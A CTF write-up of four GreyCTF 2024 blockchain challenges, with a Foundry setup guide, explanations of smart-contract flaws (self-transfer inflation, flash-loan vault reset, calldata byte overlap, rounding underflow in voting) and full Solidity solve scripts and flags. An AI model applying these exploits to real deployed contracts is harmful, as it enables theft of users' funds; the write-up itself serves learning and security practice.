GreyCTF 2024 Qualifiers
GreyCTF 2024 Qualifiers blockchain writeups
Intro
GreyCTF is hosted by NUS Greyhats. I participated with team youtiaos, achieving 1st in the local category.
Having a sudden interest in blockchain, I exclusively looked into the blockchain category, solving 3/4 challenges.
All challenges are available here
Environment Setup
Introduction
This section is for beginners. Skip to Challenges if you already know how to set up an environment for EVM blockchain.
The blockchain challenges had few solves, probably because setting up the environment to test and interact with the blockchain is a significant barrier to entry.
I will attempt to explain the tools used in a beginner friendly way, using the Greyhats Dollar challenge as an example.
Initial setup with Foundry
Foundry is a commonly used toolkit to develop, test, and interact with smart contracts and the blockchain.
Install Foundryup:
1
curl -L https://foundry.paradigm.xyz | bash
Install Foundry:
1
foundryup
I’ve copied the commands in the installation guide for convenience. Personally, I have it installed on WSL Ubuntu and use VSCode remote development to connect to WSL.
Create a new project:
1
forge init
Once a project is created, a test contract Counter.sol and its accompanying tests and scripts are automatically downloaded as an example.
We can then add the challenge contracts to the src folder. For this CTF, there is an isSolved() function in Setup.sol which is the condition that is checked that must return true for the instancer to give the flag.
1
2
3
4
// Note: Challenge is solved when you have at least 50,000 GHD
function isSolved() external view returns (bool) {
return ghd.balanceOf(msg.sender) >= 50_000e18;
}
For example, in the GHD challenge, the isSolved() function checks that ghd.balanceOf(msg.sender) >= 50_000e18, where msg.sender is the attacker. The challenge creator also gave a helpful comment for easier understanding.
Tests
After figuring out the vulnerability, in this case (spoilers) GHD::transferFrom() allows the user to multiply their GHD by sending it to themselves, we would want to test it out locally first.
We can then use forge tests. From the documentation:
Forge will look for the tests anywhere in your source directory. Any contract with a function that starts with test is considered to be a test. Usually, tests will be placed in test/ by convention and end with .t.sol.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import { GHD } from "../src/GHD.sol";
import { Setup } from "../src/Setup.sol";
import { GREY } from "../src/lib/GREY.sol";
contract GHDTest is Test {
Setup sp;
address attacker;
function setUp() public {
sp = new Setup(); // Create a new setup contract
attacker = address(vm.addr(1));
vm.label(attacker, "Attacker");
}
...
}
For tests, the setUp() function will be run before the test() function. Since the Setup contract is not set up for us in our local blockchain, we have to create it ourselves. I like to make an address for the attacker as well which will be used later in our test.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function test() public {
vm.startPrank(attacker);
GREY grey = sp.grey(); // Get the GREY contract in the setup
GHD ghd = sp.ghd(); // Get the GHD contract in the setup
sp.claim(); // Claim 1000 GREY
grey.approve(address(ghd), 1000e18);
ghd.mint(1000e18); // Approve and mints 1000 GHD from GREY
for (uint256 i; i < 10; i++) {
ghd.transferFrom(attacker, attacker, ghd.balanceOf(attacker)); // Send GHD to yourself
}
console.log(ghd.balanceOf(attacker));
sp.isSolved()
}
For the test, we use the forge cheat code vm.startPrank() which tells forge to use the attacker address as the tx.origin. Then we proceed with the attack, transferring GHD to ourselves. Note that we can use console.log() to print out variables as we have imported console from forge-std/Test.sol.
1
2
3
forge test -vvvvv --match-contract GHDTest
Run the test with the above command. Use the option -vvvvv for a more verbose output and specify the test contract with the parameter --match-contract.
The output displays all the calls and their return values, and we can see that indeed we have solved the challenge (locally).
Scripts
Now, we need to interact with the actual challenge infrastructure with forge scripts.
The instancer deploys your private blockchain and provides the following information:
| Name | Purpose |
|---|---|
| uuid | Identifier for your blockchain |
| rpc endpoint | Endpoint to interact with the blockchain |
| private key | Private key for your wallet to interact with the blockchain |
| public key | Not really useful here |
| setup contract | Address of the contract to solve |
Now, we should write a forge script to interact with the blockchain.
Forge scripts are typically stored in the script/ directory and end with a .s.sol.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "forge-std/Script.sol";
import "../src/Setup.sol";
import "../src/GHD.sol";
import "../src/lib/GREY.sol";
contract MyScript is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address setupAddr = vm.envAddress("SETUP_ADDR");
address attacker = vm.addr(deployerPrivateKey);
vm.startBroadcast(deployerPrivateKey);
Setup sp = Setup(setupAddr);
GREY grey = sp.grey();
GHD ghd = sp.ghd();
grey.approve(address(ghd), 1000e18);
sp.claim();
ghd.mint(1000e18);
for (uint256 i; i < 10; i++) {
ghd.transfer(attacker, ghd.balanceOf(attacker));
}
sp.isSolved();
vm.stopBroadcast();
}
}
| Cheat code | Description |
|---|---|
| vm.envUint | Read an environment variable as uint256 |
| vm.envAddress | Read an environment variable as address |
| vm.addr | Computes the address for a given private key |
| vm.startBroadcast | Using the private key provided as the sender, create transactions that can later be signed and sent onchain |
| vm.stopBroadcast | Stops collecting transactions for later on-chain broadcasting |
This is a solve script that imports from "forge-std/Script.sol". Note that the function should be named run(). The table describes the forge cheat codes used in the script (with descriptions taken from the docs).
Then, we supply the private key and the address of the Setup contract as environment variables stored in a .env file in the project base directory.
Simply copy the values given by the instancer into the file.
Now we are ready to execute the script:
1
forge script [script file] --rpc-url [rpc_url] --broadcast -vvvv --tc MyScript
We provide the script file path in [script file], the rpc url given in the instancer in [rpc_url]. --broadcast, as its name suggests, broadcasts the transactions to the chain. -vvvv is for a more verbose output, and --tc specifies the target contract, in this case MyScript.
It should take a while to execute and once done, we can obtain the flag from the instancer.
I hope this has been useful in understanding how to use Foundry for CTF challenges. With that, lets move on to the actual challenges.
Challenges
Greyhats Dollar
The vulnerable contract GHD is similar to an ERC20 token, but mints GHD from an underlying asset GREY at the rate 1:1. The amount of GHD that an owner has then decreases by 3% per year.
We start with 1000 GREY and have to exploit the contract to end up with >= 50_000 GREY.
Looking through the functions in GHD, I noted a few points, but they were not the vulnerability:
- Unchecked
transferFromreturn value inmint(transferFromreverts on failure for GREY) - Rounding math was correct and rounding from GREY to GHD and vice versa was not in favor of the attacker
The vulnerability actually exists in GHD::transferFrom()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function transferFrom(
address from,
address to,
uint256 amount
) public update returns (bool) {
if (from != msg.sender) allowance[from][msg.sender] -= amount;
uint256 _shares = _GHDToShares(amount, conversionRate, false);
uint256 fromShares = shares[from] - _shares;
uint256 toShares = shares[to] + _shares;
require(
_sharesToGHD(fromShares, conversionRate, false) < balanceOf(from),
"amount too small"
);
require(
_sharesToGHD(toShares, conversionRate, false) > balanceOf(to),
"amount too small"
);
shares[from] = fromShares;
shares[to] = toShares;
emit Transfer(from, to, amount);
return true;
}
The function fails to account for the case where from == to.
Assuming the attacker has 1000 GHD and sends 1000 GHD to themselves:
fromShares = 0andtoShares = 2000shares[from] = fromShares = 0shares[to] = toShares = 2000
Hence, the final value for the attacker will be the greater toShares value.

Testing it out, we are indeed able to increase your own balance by transferring to yourself. To solve, simply transfer to yourself multiple times until you have >= 50_000 GHD.
Solve script (foundry)
Create .env file in base directory with PRIVATE_KEY and SETUP_ADDR variables corresponding to the values given in the instancer.
Then run the script with
1
forge script [script file] --rpc-url [rpc_url] --broadcast -vvvv --tc MyScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.8.15;
import "forge-std/Script.sol";
import "../src/Setup.sol";
import "../src/GHD.sol";
import "../src/lib/GREY.sol";
contract MyScript is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address setupAddr = vm.envAddress("SETUP_ADDR");
address attacker = vm.addr(deployerPrivateKey);
vm.startBroadcast(deployerPrivateKey);
Setup sp = Setup(setupAddr);
GREY grey = sp.grey();
GHD ghd = sp.ghd();
grey.approve(address(ghd), 1000e18);
sp.claim();
ghd.mint(1000e18);
for (uint256 i; i < 10; i++) {
ghd.transfer(attacker, ghd.balanceOf(attacker));
}
sp.isSolved();
vm.stopBroadcast();
}
}
flag: grey{self_transfer_go_brrr_9e8284917b42282d}
Simple Amm Vault
We are given 2 contracts of interest, SimpleAMM and SimpleVault
Below is a quick description of these contracts:
| Contract | Purpose |
|---|---|
| SimpleAMM | AMM with flashLoan feature, providing liquidity for the SV token & GREY pair |
| SimpleVault | Deposit GREY to obtain SV token, representing a share of GREY (both deposits and rewards) in the vault |
The initial setup and solve conditions are as follows:
- SimpleVault consists 2000 GREY of assets (of which 1000 are rewards), corresponding to 1000 SV tokens
- The 1000 SV tokens along with another 2000 GREY are deposited into SimpleAMM
- Attacker starts with 1000 GREY and must end with >= 3000 GREY
The AMM flashLoan function allows a user to borrow assets as long as they are returned in the same transaction. This allows us to borrow all the SV in SimpleAMM to withdraw the rewards in the vault.
Attack flow:
- Flash loan 1000 SV from SimpleAMM
- Withdraw 1000 SV for 2000 GREY in SimpleVault causing the vault to be empty
- Deposit 1000 GREY into SimpleVault for 1000 SV (as the default SV : GREY ratio is 1:1 when the vault is empty)
- Return 1000 SV to SimpleAMM
Now we have 2000 GREY, but how do we get 1000 GREY more?
1
2
3
4
5
// NOTE: amountX: amount of SV, amountY: amount of GREY
function computeK(uint256 amountX, uint256 amountY) internal view returns (uint256) {
uint256 price = VAULT.sharePrice();
return amountX + amountY.divWadDown(price);
}
Looking at how the AMM implements the constant product formula x * y = k, k is calculated based on the amount of SV + (amount of GREY / price of SV in terms of GREY), based on the price in the vault.
I will use the term storage value of k to denote the value of k in SimpleAMM’s storage, only updated by the allocate and deallocate functions, and the term actual value of k, based on the current reserves of SV and GREY in the AMM and the current price of SV.
Note that initially the price was 2. Remember that the AMM contains 1000 SV and 2000 GREY. Hence, the storage value and actual value of k in the AMM is 2000 initially.
The AMM enforces the invariant via a modifier, executing the function first then checking if actual value of k >= storage value of k
1
2
3
4
modifier invariant {
_;
require(computeK(reserveX, reserveY) >= k, "K");
}
After attacking the vault, the price is now 1, but the storage value of k is not updated.
This means that the AMM has an actual k value of 3000 but a storage k value of 2000.
The SimpleAMM:swap() function allows the user to specify the amount of tokens to deposit and receive as long as the invariant holds.
Hence, the difference in storage and actual k values allow us to call swap(true, 0, 1000e18) to receive 1000 GREY for free. The invariant holds as the AMM now contains 1000 SV and 1000 GREY, with actual k = storage k = 2000.
The attacker now has 3000 GREY and the challenge is solved.
Solve script (foundry)
Create .env file in base directory with PRIVATE_KEY and SETUP_ADDR variables corresponding to the values given in the instancer.
Then run the script with
1
forge script [script file] --rpc-url [rpc_url] --broadcast -vvvv --tc MyScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
pragma solidity ^0.8.15;
import "forge-std/Script.sol";
import "../src/Setup.sol";
import "../src/SimpleAMM.sol";
import "../src/lib/GREY.sol";
import "../src/SimpleVault.sol";
contract MyScript is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address setupAddr = vm.envAddress("SETUP_ADDR");
address attacker = vm.addr(deployerPrivateKey);
vm.startBroadcast(deployerPrivateKey);
Setup sp = Setup(setupAddr);
GREY grey = sp.grey();
SimpleAMM amm = sp.amm();
SimpleVault vault = sp.vault();
Attack atk = new Attack();
atk.pwn(sp);
amm.swap(true, 0, 1000e18);
atk.withdraw();
sp.isSolved();
vm.stopBroadcast();
}
}
contract Attack {
GREY grey;
SimpleAMM amm;
SimpleVault vault;
function pwn(Setup sp) public {
sp.claim();
grey = sp.grey();
amm = sp.amm();
vault = sp.vault();
amm.flashLoan(true, 1000e18, "");
}
function onFlashLoan(uint256 amount, bytes calldata data) public {
vault.withdraw(1000e18);
grey.approve(address(vault), 1000e18);
vault.deposit(1000e18);
vault.approve(address(amm), 1000e18);
}
function withdraw() public {
grey.transfer(msg.sender, grey.balanceOf(address(this)));
}
}
flag: grey{vault_reset_attack_a3e7a42b511cf0a8}
Escrow
We have a DualAssetEscrow and an EscrowFactory, with the EscrowFactory being an ERC721 token (NFT), representing ownership of the underlying DualAssetEscrow.
The setup deploys an escrow of GREY and ETH, deposits 10_000 GREY into it, then renounces the ownership. The attacker must then recover the 10_000 GREY.
The EscrowFactory deploys escrows using ClonesWithImmutableArgs, which is similar to a proxy in that the clone delegatecalls to the implementation. The immutable args comes from the proxy adding predefined data to the end of the delegatecalls to the implementation.
In this case, the args added are as follows
| Offset | Data | Notes |
|---|---|---|
| 0 | EscrowFactory address | Arbitrary data cannot be specified |
| 20 | tokenX address | Arbitrary data can be specified |
| 40 | tokenY address | Arbitrary data can be specified |
2 more bytes are appended to the end of the data, representing the length of the immutable args. Note that the data for tokenX address and tokenY address can be specified arbitrarily, as they are raw bytes specified as a parameter when calling EscrowFactory::deployEscrow().
Initially, I tried researching on vulnerabilities with ClonesWithImmutableArgs, finding this article, but it was not applicable to this challenge as the immutable args are used safely.
1
2
3
4
5
6
7
8
9
10
11
function deployEscrow(
uint256 implId,
bytes memory args
) external returns (uint256 escrowId, address escrow) {
// Get the hash of the (implId, args) pair
bytes32 paramsHash = keccak256(abi.encodePacked(implId, args));
// If an escrow with the same (implId, args) pair exists, revert
if (deployedParams[paramsHash]) revert AlreadyDeployed();
...
Looking into the EscrowFactory::deployEscrow() function, it checks that an escrow is already deployed by checking the keccak256 hash of (implId, args).
1
2
3
4
5
6
7
8
9
10
11
function initialize() external {
if (initialized) revert AlreadyInitialized();
...
emit data(msg.data);
if (msg.data.length > 66) revert CalldataTooLong();
initialized = true;
(address factory, address tokenX, address tokenY) = _getArgs();
escrowId = uint256(keccak256(abi.encodePacked(IDENTIFIER, factory, tokenX, tokenY)));
}
This is different from how the escrowID is calculated in DualAssetEscrow::initialize(), which is based on the keccak256 hash of (IDENTIFIER, factory, tokenX, tokenY).
Hence, if we can somehow pass a different (implId, args) and yet produce the same escrowID, we would be able to regain ownership of the escrow. Since there is only 1 implementation, and we cannot add others as we are not the owner, we can only change args.
I emitted the calldata during the call to DualAssetEscrow::initialize(), comparing it to args passed to EscrowFactory::deployEscrow()
| Hash | Used in hash | Length |
|---|---|---|
| paramsHash | Raw bytes args in EscrowFactory::deployEscrow() |
Variable |
| escrowID | Data after 4 byte function selector | Fixed 60 bytes |
This illustrates the data used to calculate the hashes. To recall, we want to change the paramsHash but not the EscrowID. Unfortunately, we cannot increase the length of the paramsHash as DualAssetEscrow::initialize() checks that calldata length <= 66.
However, we can decrease the calldata length. If we send 1 less byte for tokenY (which are all null bytes as tokenY represents ETH), we are able to get a different paramsHash, whilst having the same EscrowID. This is because the higher byte of CWIA length is used for the last byte during the call to DualAssetEscrow::_getArgAddress(40) which happens to be a null byte as well, thus the same escrowID is produced.
Hence, call EscrowFactory::deployEscrow() with the same parameters as in the setup but omitting the last byte for args. We are now the owner of the escrow and can withdraw all the GREY in the escrow.
Solve script (foundry)
Create .env file in base directory with PRIVATE_KEY and SETUP_ADDR variables corresponding to the values given in the instancer.
Then run the script with
1
forge script [script file] --rpc-url [rpc_url] --broadcast -vvvv --tc MyScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pragma solidity ^0.8.15;
import "forge-std/Script.sol";
import "../src/Setup.sol";
import "../src/DualAssetEscrow.sol";
import "../src/lib/GREY.sol";
import "../src/EscrowFactory.sol";
contract MyScript is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address setupAddr = vm.envAddress("SETUP_ADDR");
address attacker = vm.addr(deployerPrivateKey);
vm.startBroadcast(deployerPrivateKey);
Setup sp = Setup(setupAddr);
GREY grey = sp.grey();
DualAssetEscrow escrow = DualAssetEscrow(sp.escrow());
EscrowFactory factory = sp.factory();
uint256 escrowId2;
address escrow2;
bytes memory newArgs = abi.encodePacked(address(grey), hex"00000000000000000000000000000000000000"); // 19 null bytes
(escrowId2, escrow2) = factory.deployEscrow(
0, // implId = 0
newArgs // tokenX = GREY, tokenY = ETH
);
escrow.withdraw(true, grey.balanceOf(address(escrow)));
sp.isSolved();
vm.stopBroadcast();
}
}
flag: grey{cwia_bytes_overlap_5a392abcfa2d040a}
Voting Vault
Unfornulately I was not able to solve this challenge during the CTF, but in hindsight, the vulnerability was relatively easy to spot.
We are given Treasury, VotingVault and History contracts.
Below is a quick description of these contracts:
| Contract | Purpose |
|---|---|
| Treasury | Allows users to propose and vote on withdrawals |
| VotingVault | Logic for calculating votes |
| History | Logic to prevent double voting within the same block |
We start with 1000 GREY, the treasury is set up with 10_000 GREY and requires 1_000_000 votes to pass a proposal.
1
2
3
4
5
6
7
8
9
10
11
12
13
function _addVotingPower(address delegatee, uint256 votes) internal {
uint256 oldVotes = history.getLatestVotingPower(delegatee);
unchecked {
history.push(delegatee, oldVotes + votes);
}
}
function _subtractVotingPower(address delegatee, uint256 votes) internal {
uint256 oldVotes = history.getLatestVotingPower(delegatee);
unchecked {
history.push(delegatee, oldVotes - votes);
}
}
Looking at the functions VotingVault::_addVotingPower() and VotingVault::_subtractVotingPower(), there are unchecked keywords, potentially giving rise to integer overflow/underflow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function lock(uint256 amount) external returns (uint256) {
...
...
uint256 votes = _calculateVotes(amount);
_addVotingPower(delegatee, votes);
GREY.transferFrom(msg.sender, address(this), amount);
return deposits.length - 1;
}
function delegate(address newDelegatee) external {
...
...
uint256 amount = lastDeposit.cumulativeAmount - lastUnlockedDeposit.cumulativeAmount;
uint256 votes = _calculateVotes(amount);
_subtractVotingPower(delegatee, votes);
_addVotingPower(newDelegatee, votes);
}
| Function | Purpose |
|---|---|
VotingVault::lock() |
Locks up GREY for 30 days to gain voting power |
VotingVault::unlock() |
Withdraw locked GREY decreasing voting power |
VotingVault::delegate() |
Delegates all voting power to another address |
The functions VotingVault::lock(), VotingVault::unlock() and VotingVault::delegate() call _addVotingPower() and _subtractVotingPower(), but only lock() and delegate() are likely to be useful as unlock() requires 30 days to pass after locking.
1
2
3
4
5
6
uint256 public constant VOTE_MULTIPLIER = 1.3e18;
...
function _calculateVotes(uint256 amount) internal pure returns (uint256) {
return amount * VOTE_MULTIPLIER / 1e18;
}
The function VotingVault::_calculateVotes() is used to calculate the voting power each GREY token represents, which always rounds down.
This is a problem because VotingVault::delegate() recalculates the voting power using _calculateVotes() based on the delegator’s deposits instead of being based on the delegator’s existing voting power.
To illustrate this, the attacker could execute the following transactions:
lock(3)- 3 * 1.3e18 / 1e18 = 3 votes
lock(1)- 1 * 1.3e18 / 1e18 = 1 votes
- Cumulative votes: 4
- Cumulative deposits: 4
delegate_calculateVotes(4)= 4 * 1.3e18 / 1e18 = 5 Votes_subtractvotingPower(delegatee, 5)
This leads to arithmetic underflow as the delegator only has 4 votes.
Testing this out, indeed we are able to cause underflow and have a large votingPower. Now we just need to propose a withdrawal, vote, and execute the proposal to withdraw all the GREY from the treasury.
Solve script (foundry)
Create .env file in base directory with PRIVATE_KEY and SETUP_ADDR variables corresponding to the values given in the instancer.
The scripts are separated as the attacker’s votingPower cannot be used immediately in the same block.
1
forge script [script file] --rpc-url [rpc_url] --broadcast -vvvv --tc MyScript
1
forge script [script file] --rpc-url [rpc_url] --broadcast -vvvv --tc MyScript2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "forge-std/Script.sol";
import "../src/Setup.sol";
import "../src/VotingVault.sol";
import "../src/lib/GREY.sol";
import "../src/Treasury.sol";
contract MyScript is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address setupAddr = vm.envAddress("SETUP_ADDR");
address attacker = vm.addr(deployerPrivateKey);
vm.startBroadcast(deployerPrivateKey);
Setup sp = Setup(setupAddr);
GREY grey = sp.grey();
VotingVault vault = sp.vault();
Treasury treasury = sp.treasury();
sp.claim();
grey.approve(address(vault), 10_000e18);
vault.lock(3);
vault.lock(1);
vault.delegate(address(0x01));
vault.votingPower(attacker, block.number);
treasury.propose(address(grey), 10_000e18, attacker);
vm.stopBroadcast();
}
}
contract MyScript2 is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address setupAddr = vm.envAddress("SETUP_ADDR");
address attacker = vm.addr(deployerPrivateKey);
vm.startBroadcast(deployerPrivateKey);
Setup sp = Setup(setupAddr);
Treasury treasury = sp.treasury();
treasury.vote(0);
treasury.execute(0);
sp.isSolved();
vm.stopBroadcast();
}
}
flag: grey{rounding_is_dangerous_752aa6bb8b6a9f61}
Bonus Vulnerability
1
2
3
4
5
6
function vote(uint256 proposalId) external {
require(!voted[proposalId][msg.sender], "already voted");
voted[proposalId][msg.sender] = true;
uint256 votingPower = VAULT.votingPower(msg.sender, block.number - 1);
proposals[proposalId].votes += votingPower;
}
The vote function only checks if msg.sender has voted. However, the attacker can simply delegate their votes to another address they control and vote again with the same underlying votes.
Afterword
The challenges were high quality and I had a lot of fun and learnt a lot during this CTF.






